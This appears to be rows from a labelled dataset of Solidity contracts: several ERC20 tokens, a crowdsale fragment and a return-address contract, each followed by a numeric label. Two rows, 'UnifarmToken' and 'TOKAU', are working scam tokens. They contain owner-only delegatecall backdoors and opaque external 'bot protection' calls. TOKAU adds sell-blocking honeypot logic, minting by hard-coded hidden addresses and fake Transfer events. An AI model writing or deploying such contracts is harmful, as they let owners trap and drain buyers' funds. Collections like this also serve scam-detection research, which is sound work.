function setTokensPerKEther(uint256 _tokensPerKEther) external onlyAdmin onlyBeforeSale returns (bool) {
require(_tokensPerKEther > 0);
tokensPerKEther = _tokensPerKEther;
TokensPerKEtherUpdated(_tokensPerKEther);
return true;
}
function setPhase1AccountTokensMax(uint256 _tokens) external onlyAdmin onlyBeforeSale returns (bool) {
require(_tokens > 0);
phase1AccountTokensMax = _tokens;
Phase1AccountTokensMaxUpdated(_tokens);
return true;
}
function () external payable whenNotPaused onlyDuringSale {
buyTokens();
}
function buyTokens() public payable whenNotPaused onlyDuringSale returns (bool) {
require(msg.value >= CONTRIBUTION_MIN);
require(msg.value <= CONTRIBUTION_MAX);
require(totalTokensSold < TOKENS_SALE);
uint8 whitelistedPhase = whitelist[msg.sender];
require(whitelistedPhase > 0);
uint256 tokensMax = TOKENS_SALE.sub(totalTokensSold);
if (currentTime() < PHASE2_START_TIME) {
require(whitelistedPhase == 1);
uint256 accountBalance = tokenContract.balanceOf(msg.sender);
uint256 phase1Balance = phase1AccountTokensMax.sub(accountBalance);
if (phase1Balance < tokensMax) {
tokensMax = phase1Balance;
}
}
require(tokensMax > 0);
uint256 tokensBought = msg.value.mul(tokensPerKEther).div(PURCHASE_DIVIDER);
require(tokensBought > 0);
uint256 cost = msg.value;
uint256 refund = 0;
if (tokensBought > tokensMax) {
tokensBought = tokensMax;
cost = tokensBought.mul(PURCHASE_DIVIDER).div(tokensPerKEther);
refund = msg.value.sub(cost);
}
totalTokensSold = totalTokensSold.add(tokensBought);
require(tokenContract.transfer(msg.sender, tokensBought));
if (refund > 0) {
msg.sender.transfer(refund);
}
wallet.transfer(msg.value.sub(refund));
TokensPurchased(msg.sender, cost, tokensBought, totalTokensSold);
if (totalTokensSold == TOKENS_SALE) {
finalizeInternal();
}
return true;
}
function addPresale(address _account, uint256 _baseTokens, uint256 _bonusTokens) external onlyAdmin onlyBeforeSale returns (bool) {
require(_account != address(0));
require(_baseTokens > 0);
require(_bonusTokens < _baseTokens);
totalTokensSold = totalTokensSold.add(_baseTokens);
require(totalTokensSold <= TOKENS_SALE);
uint256 ownBalance = tokenContract.balanceOf(address(this));
require(_baseTokens <= ownBalance);
totalPresaleBase = totalPresaleBase.add(_baseTokens);
totalPresaleBonus = totalPresaleBonus.add(_bonusTokens);
require(tokenContract.transfer(address(trusteeContract), _baseTokens));
uint256 tokens = _baseTokens.add(_bonusTokens);
require(trusteeContract.grantAllocation(_account, tokens, false ));
PresaleAdded(_account, _baseTokens, _bonusTokens);
return true;
}
function pause() public onlyAdmin whenNotPaused {
require(hasSaleEnded() == false);
pausedTime = currentTime();
return super.pause();
}
function unpause() public onlyAdmin whenPaused {
uint256 current = currentTime();
if (current > PHASE1_START_TIME) {
uint256 timeDelta;
if (pausedTime < PHASE1_START_TIME) {
timeDelta = current.sub(PHASE1_START_TIME);
} else {
timeDelta = current.sub(pausedTime);
}
endTime = endTime.add(timeDelta);
}
pausedTime = 0;
return super.unpause();
}
function reclaimTokens(uint256 _amount) external onlyAfterSale onlyAdmin returns (bool) {
uint256 ownBalance = tokenContract.balanceOf(address(this));
require(_amount <= ownBalance);
address tokenOwner = tokenContract.owner();
require(tokenOwner != address(0));
require(tokenContract.transfer(tokenOwner, _amount));
TokensReclaimed(_amount);
return true;
}
function burnUnsoldTokens() external onlyAfterSale onlyAdmin returns (bool) {
uint256 ownBalance = tokenContract.balanceOf(address(this));
require(tokenContract.burn(ownBalance));
UnsoldTokensBurnt(ownBalance);
return true;
}
function finalize() external onlyAdmin returns (bool) {
return finalizeInternal();
}
function finalizeInternal() private returns (bool) {
require(!finalized);
finalized = true;
Finalized();
return true;
}
} | 1 | 5,001 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CellBlocksToken is EIP20Interface, Ownable {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name;
uint8 public decimals;
string public symbol;
function CellBlocksToken() public {
balances[msg.sender] = (10**26);
totalSupply = (10**26);
name = "CellBlocks";
decimals = 18;
symbol = "CLBK";
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
if (totalSupply > 33*(10**24) && block.timestamp >= 1529474460) {
uint halfP = halfPercent(_value);
burn(msg.sender, halfP);
_value = SafeMath.sub(_value, halfP);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
if (totalSupply > 33*(10**24) && block.timestamp >= 1529474460) {
uint halfP = halfPercent(_value);
burn(_from, halfP);
_value = SafeMath.sub(_value, halfP);
}
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function halfPercent(uint _value) private pure returns(uint amount) {
if (_value > 0) {
uint temp = SafeMath.mul(_value, 5);
amount = SafeMath.div(temp, 1000);
if (amount == 0) {
amount = 1;
}
}
else {
amount = 0;
}
return;
}
function burn(address burner, uint256 _value) public {
require(_value <= balances[burner]);
if (_value > 0) {
balances[burner] = SafeMath.sub(balances[burner], _value);
totalSupply = SafeMath.sub(totalSupply, _value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
event Burn(address indexed burner, uint256 value);
} | 1 | 2,600 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract UnifarmToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "UNIFARM Token";
string public symbol = "UFARM";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wrappedBinance, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 0 | 1,551 |
pragma solidity ^0.4.12;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Ripplecash is BurnableToken, Ownable {
string public constant name = "Ripple cash";
string public constant symbol = "RCC";
uint public constant decimals = 8;
uint256 public constant initialSupply = 370000000 * (10 ** uint256(decimals));
function Ripplecash() {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
}
} | 1 | 4,940 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract TOKAU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,146 |
pragma solidity ^0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a, "c must be >= a");
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a, "b must be <= a");
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b, "a must = 0 or c / a must = b");
}
function div(uint a, uint b) internal pure returns (uint c) {
require (b > 0, "b must be > 0");
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "only the contract owner can perform this function");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "only the new contract owner can perform this function");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract PoWToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "POW";
name = "Process of Wank Token";
decimals = 18;
_totalSupply = 100000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function () public payable {
}
function withdrawEther(uint amount) public onlyOwner returns (bool success) {
owner.transfer(amount);
return true;
}
} | 1 | 3,742 |
pragma solidity ^0.4.13;
contract Owned {
function Owned() {
owner = msg.sender;
}
address public owner;
modifier onlyOwner { if (msg.sender == owner) _; }
function changeOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
function execute(address _dst, uint _value, bytes _data) onlyOwner {
_dst.call.value(_value)(_data);
}
}
contract ChooseWHGReturnAddress is Owned {
mapping (address => address) returnAddresses;
uint public endDate;
function ChooseWHGReturnAddress(uint _endDate) {
endDate = _endDate;
}
function requestReturn(address _returnAddr) {
require(now <= endDate);
require(returnAddresses[msg.sender] == 0x0);
returnAddresses[msg.sender] = _returnAddr;
ReturnRequested(msg.sender, _returnAddr);
}
function getReturnAddress(address _addr) constant returns (address) {
if (returnAddresses[_addr] == 0x0) {
return _addr;
} else {
return returnAddresses[_addr];
}
}
function isReturnRequested(address _addr) constant returns (bool) {
return returnAddresses[_addr] != 0x0;
}
event ReturnRequested(address indexed origin, address indexed returnAddress);
} | 0 | 2,092 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
